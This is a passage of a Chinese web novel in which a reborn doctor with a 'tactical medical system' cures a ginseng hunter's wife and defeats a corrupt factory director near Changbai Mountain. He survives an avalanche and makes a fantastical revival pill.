人群外一阵骚动，几个穿供销社干部服的人粗暴地推开人群，护着一个油头粉面的中年男人挤进来。这人叫钱大海，是高建设派来专门截胡的亲信。 身后，二道白河供销社的刘主任点头哈腰，满脸堆笑地提着两瓶上好的“北大仓”白酒和两条“人参”牌香烟。 然而刚挤到前排，原本嘈杂的人群瞬间静了。 一个身影不知何时已立在义诊点桌前。 来人约莫六十多岁，身形精瘦却挺直如松。一身洗得发白的粗布褂子，脚蹬厚底千层底，脸上刻满风霜沟壑。他只是静静站着，一股生人勿近的冷冽气场就让四周温度骤降。 没说话。他从怀里取出一个红布包，轻轻放在桌上。 揭开红布，一株足有成人手臂粗、参须完整、芦头饱满的老山参赫然出现！形态酷似人形，周身细密纹路环绕，隐隐透着玉石光泽。 “我的老天爷！百……百年老参！”人群中一个懂行的老药农失声惊呼，望向老者的眼中充满敬畏。 他，就是长白山最后的采参客王，白山！ 百年老参往桌上一放，足以换半座宅院！白山目光如鹰隼，直刺林卫国，场中呼吸停滞。 钱大海立刻挤上前，扯出自认亲切的笑容：“白山大叔！可等到您了！我是省城红旗制药厂的，这位是刘主任。您老伴的病，我们知道！” 他指指刘主任手里的烟酒：“东西都备齐了！我们请了省城最好的专家，带了特效药，包好！您别信这毛头小子！万一治坏了，找谁哭去？” 白山仿佛没看见钱大海，目光始终如刀般锁着林卫国的脸，沙哑却有力的声音再问：“你，能治吗？” 在他的规则里，只有强者有对话资格。钱大海？不配让他转眼。 林卫国迎着目光，没立刻回答。平静伸出两根手指，声音不大却传遍全场： “把手给我。” 三字出口，带着不容置疑的力量。 白山眼底闪过一丝诧异，沉默片刻，终是缓缓伸出那只布满老茧、枯树皮般的手。 林卫国手指轻搭上白山的手腕，闭上双眼。 一旁的孙思源教授和雷鸣等人，心悬到嗓子眼。他们清楚，真正的较量开始了。 钱大海和刘主任抱着胳膊，满脸讥笑。装神弄鬼！一个毛头小子，能玩出什么花？ 时间流逝。 林卫国忽然睁眼，抛出一句石破天惊的话： “你老伴得的不是病！” 全场哗然！ 孙思源教授也愕然。不是病？ 在众人不解的目光中，林卫国继续： “她常年手脚冰凉，畏光怕冷，夜里心慌出虚汗，对不对？” 白山那双古井不波的瞳孔猛地一缩！这些事，他从未对外人提过！ 林卫国不给他喘息，语气加重： “近几年，她吃的也不是五谷杂粮，是一种长在阴湿腐木下的白色根茎！那东西有土腥味，吃了几天不饿，精神却一天比一天差！” 轰！ 白山脸上的沉稳彻底崩裂！露出骇然！ 这是他们夫妻在深山里活命的秘密！这小子如何得知？！ 林卫国缓缓放下手，目光如炬，直视他因震惊而浑浊的眼睛，说出致命一句： “那东西，你也在吃！你年轻时气血旺，能压住那股阴寒。可最近，你这只挖参的右手，力气越来越小，连筷子都拿不稳了吧？看远处的东西，也开始模糊了？” 字字如重锤，狠狠砸在白山心上！ 他如遭雷击，猛地后退一步！ 再看林卫国的眼神，已从审视、怀疑，彻底变为敬畏，乃至灵魂深处的恐惧！ 这哪是医术？这是通神手段！ 他知道，自己遇上了传说中真正的“高人”！ 不再有半分迟疑！白山在死寂中，对着眼前这比孙子还年轻的少年，郑重地、深深地弯下了腰。 这位长白山的最后王者，低下了他高傲的头颅。 “先生……” 声音因激动而沙哑颤抖，“求你，救救我老婆子！” 钱大海和刘主任等人彻底傻眼。 他们脸上的笑僵住了，嘴巴张得能塞鸡蛋，仿佛被人当众扒光扔在冰天雪地里。 准备的说辞、重金买的物资，在林卫国这神乎其技的三言两语前，彻底成了笑话！ 四周镇民鄙夷嘲笑的目光像刀子一样剐在他们身上，恨不得钻进地缝！ 林卫国没理会小丑，扶起白山：“老人家请起。救人，医者本分。” 他转向孙思源教授：“孙老，劳驾按这个方子抓药。” 孙教授忙接过，他对林卫国的本事早已心服。可看清药方，布满皱纹的脸却瞬间堆满为难困惑。 他凑近林卫国，指着方子上一味药，压低声音，满是不敢置信： “卫国，这方子固本培元，驱寒补阳，确是神来之笔！但……这最关键的主药‘无根水’后面写的……是‘取长白山天池三百米之下陈年水’……” 孙教授声音发抖：“这……这怎么可能？天池深不见底，终年冰封！别说三百米，三十米的水都取不上！这不是人力能办到的事啊！” 孙思源教授那句“非人力能及”，如同兜头一盆冰水，泼灭了义诊点众人刚燃起的希望。 天池三百米之下的陈年水？ 这要求听着不像治病，倒像神话传说。 “哈哈哈！都听见没？这小子自个儿露馅了！” 人群中，高建设的亲信钱大海像听了个天大的笑话，再也忍不住，指着林卫国放声大笑。 他身边的供销社刘主任立马阴阳怪气地附和： “我说什么来着？装神弄鬼，迟早露馅！天池捞水？咋不去天上摘月亮？” “牛皮吹破了，看他怎么收场！” 两人一唱一和，幸灾乐祸的模样毫不掩饰。周围镇民也议论纷纷，看向林卫国的眼神从敬畏变回了怀疑。 “这…也太邪乎了。” “就是，天池那地方邪性得很，别说三百米，靠近岸边都得小心。” 第42章 天池取水风云再起 正僵着，一直闷不作声的王白山突然出声。 “先生！只要能救我家老婆子，让我怎么都行！” 说完他立刻就招呼人打算行动了，林卫国却伸手把人拦住，轻轻摇头。 他看向一旁，轻声道：“雷鸣同志，这事儿，得你们搭把手。” “林同志，你说。” “省地质勘探队有套德国进口的深水压力取样设备。我想以‘军地联合科研’名义，借用一次。” “深水取样设备？”雷鸣着实被惊到了，那宝贝疙瘩看一眼都难如登天，别说借。 林卫国眼神无比坚定：“这是唯一的办法，也是绝佳的实战测试机会。” 雷鸣被他的自信和魄力折服，知道此事已超出权限。他毫不迟疑，立刻通过军用电台，将情况和林卫国的请求，原原本本向上级汇报。 电波穿透千里，直达省军区干部休养所。 正在练拳的老将军秦振邦听完汇报，眉头一扬，随即爆发出洪钟般的大笑： “好小子！有胆有识！敢想敢干！” 他撂下电话，抓起红色专线： “喂！老周吗？秦振邦！” 电话那头的省地质局周局长，闻声立刻站起，语气恭敬又亲切： “老首长！您怎么……” “少废话！”秦振邦语气不容置疑，“帮我办个事！手下有个重要军地联合科研项目，要测试新型装备在高原高寒水域性能。你们那套德国来的深水取样设备，借我用几天！” 周局长一脸为难：“老首长，那可是心头肉，操作复杂，万一……” “没有万一！”秦振邦截断他的话，“军令！设备出任何问题，我秦振邦负全责！马上派最好的两个技术员，带上设备，立刻赶到长白山二道白河镇，找雷鸣报到！” 这番夹着公事公办和老战友情谊的命令，让周局长再也无法推拒。没有老将军这张脸，没有“科研”这块牌子，这事绝无可能。 …… 钱大海和刘主任得知林卫国真要取水，更是笑掉了大牙。 “疯了！那小子准是疯了！”小酒馆里，钱大海唾沫横飞，“他算老几？还想天池捞月亮？我赌他连池边都摸不着！” “就是！等着看吧，过几天他准得灰溜溜滚蛋！”刘主任在一旁煽风点火。 一时间，“省城骗子要去天池捞水治病”成了二道白河镇最热闹的笑话。 然而，三天后。 一辆悬挂军牌的卡车，载着闪烁金属光泽的精密仪器，在两名省城技术员和雷鸣等军人的护卫下，轰隆隆开进镇子。所有嘲笑声，戛然而止。 镇民们目瞪口呆地看着队伍在林卫国带领下，浩浩荡荡直奔长白山天池。 钱大海和刘主任脸上的笑容，彻底冻僵。 又过两天，当林卫国一行真的从山上下来，带着一个特制军用恒温箱——里面装着清澈见底、寒气森森的“无根水”时，整个二道白河镇瞬间炸开！ 消息长了翅膀，飞遍每个角落。 供销社门口，钱大海被指指点点的镇民围住，一张脸被打得啪啪作响，青白交错。最终，在众人的哄笑声中，他狼狈挤出人群，落荒而逃，成了镇上头号笑柄。 义诊点。 林卫国当着白山的面，用这取自天池三百米下的“无根水”小心配好药。白山的老伴服下后，不过半个时辰，常年冰冷的手脚竟开始回暖，苍白的面孔泛起血色，沉沉睡着了。 “神了！真是神技！”一旁的孙思源教授啧啧称奇。 白山激动得老泪纵横，对着林卫国就要跪拜。 “先生大恩，白山没齿难忘！” 林卫国急忙扶起他： “老人家，现在可以告诉我‘龙涎’的秘密了吧？” 白山重重点头，正要将守护半生的秘密和盘托出。 “噗通！” 一个浑身是血的年轻采参客，连滚带爬冲进镇子，冲到白山面前嘶声力竭： “出事了！白…白山叔！不好啦！” “您的‘参场’…被一群穿得像干部的人霸占了！他们说山是国家的，要收归公有！” “阿贵叔他们守着理论，全…全被打成重伤了！” 采参客凄厉的吼声，像砸进平静湖面的巨石，瞬间在义诊点掀起了滔天巨浪！ 刚松缓下来的气氛，猛地绷紧如满弓！ “参场被占”四字入耳，王白山那双深如古潭的眼睛，陡然射出骇人血光！一股狂野的戾气，如同被困的猛虎破闸，轰然从他精瘦的身躯爆发出来！ “找死！” 白山牙缝里挤出的两个字，如同冰碴。他猛地抄起墙角那杆火药猎枪，冰冷的枪口寒意森森。哗啦一声，枪栓拉开，金黄的子弹压入膛中，动作干净利落。 那是他的命根子！是祖祖辈辈用血汗浇灌的禁地，更是通往“龙涎”的唯一入口！ “老人家，冷静！” 白山提枪就要扑进山林的刹那，一只沉稳如铁的手，死死钳住了他的肩膀。 是林卫国。 “敢这么干，必定有备而来。你现在带人硬闯，就是送死。”林卫国声音异常平静，但这平静之下，却汹涌着比白山更刺骨的寒意。 他扶起那浑身是血的年轻参客坐下，手上利落地处理伤口，声音低沉：“占了参场的人，长什么样？谁带头？” “他……他们都穿着蓝色干部服，人多，还有枪！”年轻参客喘着粗气，声音断续，“带头的……是个梳大背头的胖子，五十多岁……他身后，跟着钱大海！就是镇子上跟咱们作对那个！” “钱大海”三字一落，林卫国眼神骤然锐利如出鞘的刀！ 红旗制药厂厂长——高建设！ 他竟亲自出马了！ 林卫国心念电转：高建设定是从什么隐秘渠道，知道了“龙涎”的秘密。钱大海夺药失败后，这人终于撕破脸，不惜代价亲自来抢了！ 白山双目赤红，吼声震耳：“先生！还等啥？我山里的兄弟个个能打能拼，跟他们干了！” “拼？拿什么拼？”林卫国冷笑反问，“他们人多枪多，又占了你的场子，守着地利！现在冲上去，除了多死几个兄弟，还能得到什么？” 对付高建设这种又贪又狂的主儿，蛮干是找死。唯一的办法，就是利用他那深入骨髓的贪婪，请君入瓮！ 第43章 调虎离山瓮中捉鳖 林卫国目光扫过四周紧绷的脸庞，最终落在陈虎身上。 “陈虎，”他压低声音，眼中锐光一闪，“你现在马上去镇上最大的酒馆，找个最扎眼的位置坐下。装醉，然后‘不小心’透个风出去。” “就说，采参客王白山，已经把‘龙涎’当诊金给了我。而我林卫国，今晚就要带着宝贝，离开二道白河镇！” 陈虎人精似的，眼珠一转便嘿嘿笑起来：“得嘞林哥！这事儿我拿手！” 林卫国又转向军官雷鸣，神色肃然。 “雷鸣同志，还得辛苦你。立刻联系部队，用‘夜间军事演习，禁止通行’的名义，把镇子通往省城的所有大路，都给我封死！” 雷鸣看着林卫国那双洞悉一切的眼睛，重重一点头：“明白！马上去办！” …… 长白山深处，白山的参场。 几间简陋的原木屋，此刻被几十个穿蓝色干部服的彪形大汉围得水泄不通，灯火通明。 高建设惬意地靠在虎皮椅上，品着热茶，脸上满是胜券在握的得意。 一个手下匆匆进来，俯在他耳边低语了几句。 “哦？”高建设眉毛一挑，“那小子拿到‘龙涎’了？还想连夜跑？”他嘴角勾起一抹残忍的冷笑，“真是天堂有路你不走，地狱无门你闯进来！” 他原以为林卫国会仗着部队支持死扛，没想到这小子沉不住气，拿了东西就想溜？ “钱大海！”高建设冲着门外一嗓子。 灰头土脸的钱大海立马屁颠屁颠跑进来：“高厂长，您吩咐！” “给你二十个人，带上家伙，连夜下山！”高建设眼中贪婪的光芒几乎要溢出来，“把所有能进省城的路口都给我堵死！记住，东西我要拿到手里！至于人嘛……就地解决，做得干净点！” “好嘞！您就瞧好吧！” 钱大海兴奋得满脸放光，仿佛已经看到把林卫国踩在脚下，夺回宝贝领赏的风光。很快，参场一半的人马，便跟着钱大海，亮着刺眼的手电光，消失在漆黑的山林里。 高建设惬意地嘬了口茶。长白山，已是囊中之物。林卫国？秋后的蚂蚱罢了。 他却不知道，就在钱大海带人一头扎进“军事演习”的伏击圈时——另一面，林卫国和王白山，正带着陈虎和十几个山中顶尖的老猎手，如同夜间捕食的幽灵，从一条只有白山知晓的隐秘小径，悄然摸向了参场的后路。 真正的猎杀，悄然开场。 夜，静得瘆人。 留守参场的高建设等人，篝火旁推杯换盏，大谈着回省城后如何分赃。 突然！ “嗖！嗖！嗖！” 数支削尖的木箭，如同毒蛇吐信，从漆黑的暗影里爆射而出！精准地洞穿了几个守卫的咽喉！几人一声未吭，像麻袋般委顿在地。 “敌袭——！” 屋内的人这才惊醒，慌乱地抄家伙。 太晚了！ 白山和他麾下的老猎人们，如同虎入羊群，从四面八方扑了出来！在这片他们血脉相连的山林里，他们就是索命的阎罗！身影在林间鬼魅般穿梭闪动，猎刀寒光乍现，弓箭嗖嗖离弦，每一次出手，必有一人倒下！ 陈虎和他安平县的兄弟们更猛，格斗技巧远超这群乌合之众，拳脚所至，骨裂声不绝于耳！ 场面瞬间变成单方面的屠宰！高建设那些所谓的好手，在老辣的猎手和格斗高手面前，脆弱得如同草扎的纸人！ “护住厂长！快！” 高建设身边几个重金聘来的保镖，面无人色地把他围在中间，拼命想退进木屋。 一道黑影如同大鹏展翅，悄无声息地落在他们面前。 正是林卫国。 “就凭你们？” 林卫国眼神如冰，身形一晃，已杀入人群！ 一招！ 仅仅是快如闪电的一招！ 高建设只觉眼前一花，那几个被他寄予厚望的“兵王”，惨叫着倒飞出去，砸在地上生死不知！林卫国铁钳般的大手，已经狠狠扼住了高建设的咽喉，将他双脚离地提了起来！ 被死死摁在地上捆成粽子，高建设双眼赤红，怨毒地盯着林卫国那张平静得过分的脸，从牙缝里挤出低吼：“你……你敢！我是国营厂长！动我就是……动国家！” 林卫国俯视着他，眼神像在看一只臭虫。 “现在，你只是我的俘虏。” 尘埃落定，白山引着林卫国穿过凌乱的参场，来到后山。 一处被虬结古木和厚厚藤蔓严密遮蔽的洞口，显露出来。 甫一进洞，刺骨的寒意瞬间褪去，一股暖流夹杂着奇异的暗香扑面而来。洞顶悬垂着密密的钟乳石笋。洞窟中央，一座巨大的天然石笋上，一滴接一滴乳白色、粘稠如同蜂蜜的液体，正缓缓渗出、滴落。 下方，一个天然形成的玉白石碗，已接了小半碗。 白山指着那碗中荡漾着奇异光晕和勃勃生机的液体，声音因激动而微微发颤： “先生，这就是‘龙涎’。” 他顿了一下，抬起头，用一种极其复杂、敬畏又带着忧虑的目光，深深看向林卫国，缓缓道： “可它……也是这片大山里，最毒的东西。” 洞内空气骤然绷紧。 白山指着那滴落乳白汁液的石笋，声音苦涩，如同揭开一道陈年伤疤： “先生，这就是‘龙涎’，长白山至宝，能生死人肉白骨……却也含着世上最歹的毒！” “它的生命精粹至纯，但伴随的阴寒剧毒，能蚀髓侵脑。” 他喉头滚动，望向洞外家的方向，眼底翻涌着无法化开的愧疚： “普通人沾上一点，三息之内，血凝髓死，神仙难救。” “我家老婆子……当年就是喝多了被这龙涎气息浸染的山泉水中了招。慢毒入骨，医石难解。后来我察觉这事，才在参场附近寻到那种白色根茎——就是你见过的东西。” “靠它，勉强压住毒性，吊着命……终究是治标啊。” 轰！ 白山的话如同惊雷，在林卫国脑中炸开。 高建功！那位制药奇才笔记里沉甸甸的绝望和遗恨，瞬间有了血淋淋的答案！ 不是找不到龙涎！ 是找到了，却根本用不了！那至毒便是横亘在神药前，不可逾越的天堑！ 他呕心沥血创出的方子，足以逆天改命，独缺那一味能化剧毒为纯粹生命精华的“药引”！ 难怪……至死抱憾！ 第44章 丹炉炼体生死一瞬 怎么办？ 难道重蹈高建功的覆辙？眼睁睁看着龙涎在手，却坐视高远和父亲的生命走向衰亡？ 一股冰寒的无力感攥紧了林卫国的心脏。 嘀！嘀嘀嘀！ 沉寂的脑海深处，【战术医疗系统】陡然爆出刺耳警报，红光刺目！ 【检测到超高纯度、剧烈不稳定未知生物能量……结构解析中……】 【警告！能量可被宿主吸收，进行身体机能跃迁式强化！但同化过程极度凶险，将引发不可逆基因层面冲击！成功率低于10%！】 【警告！同化失败——即刻脑死亡！】 【是否启动‘能量同化’程序？】 冰冷的机械音，仿佛死神贴在耳边的低语。 一成生还，九死无生！ 林卫国瞳孔猛缩……下一秒，一抹近乎疯狂的火焰，竟在那深潭般的眸子里熊熊燃起！ 他要吞下这滴龙涎！ 面对呆滞的孙思源、惊愕的苏晚夏、震骇的白山，林卫国的声音异常平静，却带着令人心悸的重量： “高远的身体，受不了龙涎霸道。” “只有一条路。” “用我的身体作‘丹炉’，炼化龙涎剧毒。然后，以我的血为‘引子’，炼成真正的解药！” “什么？！” “不行！你疯了？！” 孙思源和苏晚夏的尖叫同时炸响。两人脸色煞白，不顾一切扑上前。 “卫国！这纯粹是自杀！”苏晚夏死死抓住他胳膊，指甲深陷，泪水夺眶而出。 孙思源抓住他另一只手，老泪纵横，声音抖得不成样子： “卫国！你是百年不遇的医学支柱！你的命比什么龙涎都贵重！我们……我们再想别的法子！一定有别的路！你不能拿命赌啊！” 一旁奉林卫国如神祇的白山，此刻也是骇然失色，连连摆手： “先生！使不得！那毒多霸道，我最清楚！血肉之躯，沾不得啊！” 心意已决！ 林卫国眼中锐光一闪。这不仅是为了高远，更是一条冲破自身极限，斩开迷障的通天险途！ 他手腕轻震，一股柔韧却无法抗拒的力量传出，挣脱了苏晚夏和孙思源的手。 目光扫过众人，自信与决绝不容置疑： “孙老，晚夏，信我。” “我，林卫国，从不做没把握之事。” 话音落，身影已至那天然玉碗前。接过白山颤抖递来的玉勺，稳稳舀起一滴饱满乳白的龙涎。 在所有人绝望、恐惧、难以置信的目光中，他仰头。 一饮而尽！ 呼——！ 龙涎入喉！一股冻结灵魂的恐怖寒意瞬间炸开，席卷四肢百骸！ 身体几乎冰封的刹那！丹田猛然冲起一股熔岩般的地狱火流！焚经毁脉！ 冰火地狱，瞬间在体内爆开！ “呃啊——！” 林卫国如遭雷击，一声压抑到扭曲的嘶吼破喉而出！整个人轰然栽倒！牙关紧咬，以搏命之力强撑盘坐！ 滋…… 无数狰狞黑线，如同活物般从他心口蔓延而出，瞬间爬满脖颈、面孔！狰狞可怖！ 殷红的血线，同时从眼、耳、鼻、口渗出！七窍流血！ “卫国！” “林大夫——！” 苏晚夏与江婉儿失声痛哭，魂飞魄散。 林卫国对外界一切彻底隔绝。强大的钢铁意志与前世炼狱中磨砺出的血杀经验同时爆发！精神如刀，不顾一切地牵引、对抗、搏杀着体内那两股狂暴能量，寻求那唯一一线渺茫的融合生机！ 时间凝滞。 洞内死寂，唯余林卫国破风箱般微弱急促的喘息。他的生命气息，在众人感知中如风中残烛，急剧飘摇、暗淡…… 似乎下一秒，便是彻底寂灭。 “不能再拖了！”孙思源双目赤红，猛地从药箱抽出银针，决绝上前！哪怕万分之一的可能，也要抢！ 枯瘦的手即将按上林卫国身躯的瞬间—— 睁！ 林卫国紧闭的双眸，霍然睁开！ 瞳孔深处，竟爆出一线如有实质的金色厉芒！ 布满全身的骇人黑纹，如同退潮般疯狂倒卷，眨眼间融入体内！痛苦苍白的皮肤，骤然间温润如玉，流动着淡金微光！ “吼——！！！” 一声穿金裂石的长啸冲天而起！如龙吟虎啸！整个山洞嗡然震动！洞顶尘沙簌簌落下！ 成了！ 狂暴奔涌、如同江河决堤般的雄浑力量，正在四肢百骸咆哮冲荡！生机前所未有的澎湃强盛！ “卫国！你……” “林大夫！” 惊喜万分的呼唤涌来，众人急扑上前。 就在所有人注意力被重获新生的林卫国牢牢吸引，为奇迹狂喜的时刻—— 角落里，被牢牢捆绑、遗忘的高建设。那对因恐惧而涣散的瞳孔中，猛地掠过一丝阴毒如蝎的诡笑！ 他用尽全身力气，后槽牙狠狠咬下！ 咔哒！ 齿缝间，一枚埋藏的微型引爆器，瞬间触动！ 林卫国长啸声落，体内奔腾的力量前所未有。角落被捆成粽子的高建设，眼底骤然烧起怨毒与疯狂。 他拼尽最后一口气，狠狠咬碎后槽牙中的微型引爆器！ “林卫国！死我也要拉你们垫背！”高建设嘶哑的咆哮如同厉鬼，尚未在山洞中消散。 轰——！轰隆隆——！ 一连串惊天巨响猛然从洞外炸开！整个长白山的山体疯狂颤抖！ 高建设预先埋设的军级炸药启动了！ 如同地狱丧钟，惊醒了沉寂千年的雪山！滔天雪浪被震落，汇聚成白色洪流，似天河倾泻，又似暴怒的远古巨兽，咆哮着翻滚而下，以毁天灭地之势扑向山腰处的山洞！ “快跑！” “林哥！撤！山崩了！” 洞口处，雷鸣、陈虎等人肝胆俱裂，眼看铺天盖地的白色死亡涌来，对着洞内嘶吼。滚落的巨石与积雪已将洞口堵死大半，眼看就要淹没一切！ 洞内，刚刚脱胎换骨的林卫国，却稳如磐石。他体内能量初融，未稳正烈。此刻冲出去，寒气侵入，必前功尽弃，甚至爆体而亡！ 生死一线，他目光沉稳如铁，扫过洞外末日景象。 “雷鸣！陈虎！”他对着濒临封死的洞口厉喝，“别管我们！立刻带所有人撤往后山安全点！用电台向秦老将军求援！告之，我等被困！” 他转身，看向面无人色的孙思源、苏晚夏和刚刚站起的江婉儿，语气令人心安：“孙老，晚夏，别怕。待在这里，就是最安全。” 话音落，他已走到另一侧岩壁前。体内磅礴之力瞬间汇聚右拳。 第45章 您撑住！ “开！” 低喝声中，一拳轰出！ 噗！ 没有巨响，只有沉闷一声。坚逾钢铁的岩壁竟如豆腐般被砸出巨大裂缝，蛛网裂痕飞速蔓延！ 双手抓住裂缝边缘，猛地左右一撕！ 轰隆！ 岩壁破碎，一个更深邃、更稳固、散发着古老气息的天然溶洞，赫然出现！ 孙思源等人目瞪口呆。这……还是人类的力量？！ 被绑缚的高建设，望着自己最后的手段竟成全了林卫国，反而将自身困于死地，眼中疯狂与怨毒瞬间化为极致的绝望。 “不……不可能……”他喃喃自语，精神彻底崩溃。 呼！ 一块磨盘大的巨石从洞顶呼啸落下，精准砸中他头颅。 噗嗤！ 闷响声中，这位在省城搅风搅雨、毒害兄长、恶贯满盈的枭雄，最终在雪崩的轰鸣里，被自己亲手造就的绝望吞噬，结束了罪恶的一生。 林卫国看都未看，迅速将孙思源、苏晚夏、江婉儿送入内洞。随即搬起一块数千斤巨石，死死堵住入口。 洞外，是毁天灭地的雪崩与刺骨严寒。 洞内，却成了一个与世隔绝的避风港。 幽深溶洞里，只剩下林卫国、苏晚夏和孙思源。江婉儿、白山等人在确认安全后留在外洞，处理后事。 林卫国盘膝静坐，全力梳理体内那股新生而狂暴的能量。 苏晚夏看着他因透支而略显苍白的脸，听着洞外闷雷般的雪崩声，所有恐惧与矜持都已抛却。她默默走到他身边坐下，用衣袖轻轻为他拭去额上冷汗。 无言中，一种远超言语的情感在生死边缘悄然滋长。 时间流逝。 调息中的林卫国意外察觉，内洞石壁上竟刻着许多因年代久远而模糊的古代文字与神秘图案。 他咬着牙，经脉隐隐作痛，但还是挺直身子，凑到石壁前面。 手电光微弱，照在最大那幅图案上，他心头一跳。 图案里有个道士似的人，盘膝打坐，顶上三花聚着。边上一只玉碗，碗里一滴东西，形状真是“龙涎”，没差半分！ 这不就是炼“龙涎”的古法？他浑身血一下热了，身体绷紧。 林卫国伸手，想看更清楚那些陌生文字。 手指刚碰到炼“龙涎”的图—— 嗡！ 脑海里的【战术医疗系统】嗡地炸响，灵魂都差点被撕开。眼前天旋地转，所有东西模糊散去。 接着，几行金闪闪的字冒出来，像瀑布慢慢流过视野： 【发现同源高维能量印记……匹配信息中……】 【匹配成功……权限开啦……】 【恭喜宿主，‘上古炼药术’那一块，正式启动了……】 不知多久，雪崩的轰隆声总算停了。 死寂降临。 被巨石和亿万吨积雪彻底封死的山洞，隔绝了外界一切声响与生机。这里成了一座深埋地下的孤坟。 “咳……咳咳……” 一阵急促艰难的咳嗽打破了窒息的宁静。 孙思源教授靠在冰冷岩壁上，脸色因缺氧涨得通红，每一次呼吸都像拉动破旧的风箱，痛苦不堪。洞中氧气本就稀薄，此刻更是稀缺。他年纪大了，身体率先吃不消。 “孙老！您撑住！” 苏晚夏跪在他身边，焦急地为他拍背，眼中满是担忧，却无一丝慌乱。她的目光，总是不自觉地飘向不远处那个盘膝而坐的身影。 只要他在，她心里就有一股盲目又笃定的信念——仿佛天塌下来，他也能一肩扛住。 此刻的林卫国，对外界浑然不觉。 解锁新模块的剧烈蜂鸣将他从炼化龙涎后的极度虚弱中惊醒。他整个心神都沉入了那名为“上古炼药术”、闪烁着璀璨金光的全新领域。 震惊席卷了他！ 这并非他想象中单纯的“丹方大全”，而是一套完整的、系统的理论体系！它以林卫国前世都未曾接触的高维视角，将中医玄奥的“精、气、神”，与他所能理解的前沿“生物能量学”、“量子信息学”完美融合！ 刹那间，林卫国如醍醐灌顶！ 石壁上看不懂的古文与图案，根本不是功法或壁画！它们赫然是这套能量理论的实践图解！ 而所谓的“龙涎”，也绝非毒物！ 它是未经炼化的、狂暴的原始生命能量！对凡俗躯体而言，这狂野的能量如同致命剧毒，瞬间便能摧毁生机。 但若能有办法驯服、提纯、转化…… “那它，”林卫国心头剧震，“便是起死回生的无上至宝！” “…我明白了…全都明白了…” 林卫国缓缓睁眼，深邃的眸子里，闪烁着洞察一切的光芒。 他走到大口喘息的孙思源面前，将自己领悟的东西，用对方能理解的语言道出： “孙老，我们缺的，不是食物和水，而是维系生命体征的能量。” “能量？”孙思源喘息着，浑浊眼中全是困惑。 “对，能量。”林卫国指向身下岩壁，“这里的岩石富含身体必需的微量元素，‘龙涎’则是能量核心。正确组合它们，我或许能做出补充生命能量的东西。” “补充…生命能量？” 这闻所未闻的说法，彻底颠覆了孙思源毕生建立的医学认知。他看着林卫国，如同在看一个异世界的怪物。这已超出科学范畴，近乎神话中的“炼丹术”。 然而，林卫国过往一次次创造的奇迹，积累了巨大的信任。孙思源最终选择了沉默——他要亲眼看看，这个少年还能带来何等惊世骇俗之举！ 林卫国不再多言。 行动是最好的证明。 他抽出战术手术刀，在光滑岩壁上刮下细腻的灰色粉末。 又取出那汇聚天地精华的“龙涎”，用玉勺舀出一滴，以石缝渗出的清水将其稀释百倍。 最后，他逼出一滴指尖血。 那血殷红如宝石，内蕴流动的金芒，正是融合龙涎后脱胎换骨的血液！ 粉末、稀释龙涎、鲜血混合于他掌心。 一股微弱内劲自丹田升起，沿经脉汇聚掌心。他双手合十，缓缓搓动。 在孙思源和苏晚夏震惊的注视下，那些看似毫不相关的物质，竟以玄奥的方式，在他掌心迅速融合、凝固、成型！ 片刻，林卫国摊开手掌。 第46章 唯一的生路！ 一颗龙眼大小、朴实无华的灰色药丸静静躺在掌心。 没有宝光四射，唯有一股奇异的雨后青草般的清香悄然弥漫。仅仅吸入一丝，呼吸困难的孙思源便觉得胸口的憋闷轻了一分。 林卫国将药丸递到嘴唇发紫、眼神已开始涣散的孙思源面前，声音平静却带着不容置疑的力量： “孙老，吃了它。” 孙思源看着这来历不明、近乎荒谬的灰色药丸，又撞进林卫国那双深邃如星辰大海的眼眸。 他知道，自己站在了命运的十字路口。 吃下去，可能因未知成分当场毙命。 不吃，在这氧气殆尽的绝境里，他也撑不过几小时。 这颗药丸，是他活命的唯一希望，更是一场赌上他性命的疯狂实验——用以见证一个颠覆时代的医学理论诞生！ 这位一生严谨的医学泰斗，胸中却涌起前所未有的豪情。 若能亲身参与并见证如此革命，死，又何惧？ 他颤抖着手，接过了那颗灰朴朴的丸药。 洞内一片死寂。 孙思源教授的目光，在掌心那颗不起眼的灰色药丸和林卫国深不见底的眼睛之间来回游移，心中五味杂陈。他知道，这小小一粒药，可能终结他毕生钻研的杏林之路，也可能……开启一个全新的神话纪元。 “好！”老教授眼中骤然迸发决绝的光，斩钉截铁道，“我信你！” 在苏晚夏的搀扶下，他那只布满岁月痕迹的手微微颤抖着，将药丸送入口中。 没有预想中的苦涩，药丸入口即化，像一股甘冽的清泉滑入咽喉，直坠腹中。 下一秒！ 一股温暖磅礴、蕴藏着无限生机的洪流，猛地从他腹中炸开，瞬间冲刷过四肢百骸！那感觉，如同在冰天雪地里冻僵的人，一头扎进了最炽热的温泉！每一个细胞都在欢呼、雀跃！ “唔……” 孙思源忍不住发出一声舒爽的喟叹。胸腔中因缺氧带来的刺痛憋闷瞬间一扫而空，无比畅快！那双因岁月而浑浊的老眼，此刻也清澈得惊人！ 更让他难以置信的是，那条折磨了他半辈子、每逢阴雨天就钻心刺骨的老寒腿，此刻竟感觉不到丝毫疼痛，反而充盈着久违的力量！他甚至觉得，自己枯朽的身体仿佛倒退了十年光阴！ “神了！”孙思源激动得浑身剧颤，一把死死抓住林卫国的手，声音因狂喜而变形，“卫国！真是神了！这哪是药……这分明是仙丹啊！仙丹！” 一旁的苏晚夏早已看呆。眼前这近乎“点石成金”的奇迹，让她望向林卫国的眼神里，除了爱恋，更多了一层难以言喻的震撼与崇拜。 …… 与此同时，洞外的世界天翻地覆。巨大的雪崩彻底堵死了长白山的几条主通道。林卫国一行人失联的消息，如同炸雷般第一时间传回省城。 雷鸣通过军用电台，将他们受困的坐标和情况紧急上报给了秦振邦老将军。 一场由军方主导，地质队、林业局协同的紧急救援迅速启动。 然而，高层暗涌的阴冷波涛却在竭力阻止这一切。 省卫生厅紧急会议上，谭处长唾沫横飞，一派正气凛然： “我早就说过！林卫国此人就是无组织无纪律的典型！个人英雄主义作祟！为了搏一个虚名，罔顾专家和同志们安危，擅自带队闯入高危禁区进行非法活动，这才酿成此次生死不明的大祸！” 他痛心疾首地一拍桌子：“现在雪崩封山，我们绝不能为了某些人酿成的恶果，再投入无谓的人力物力，去做白日梦！我强烈建议，立刻终止这种劳民伤财、充满幻想的救援行动，一切以大局为重！” 这番言论立刻得到了高建设几个旧部的附和。他们意图明确——要将这盆致命的污水彻底泼在林卫国头上，让他永世不得翻身。 “我反对！”安平县县长钱国栋霍然起身，虎目圆睁怒视谭处长，“林卫国同志是我县重点科研人才！他此行是受省计委周主任特批，为解决我省工矿企业重大安全隐患！你指控他非法科研，证据何在？！” 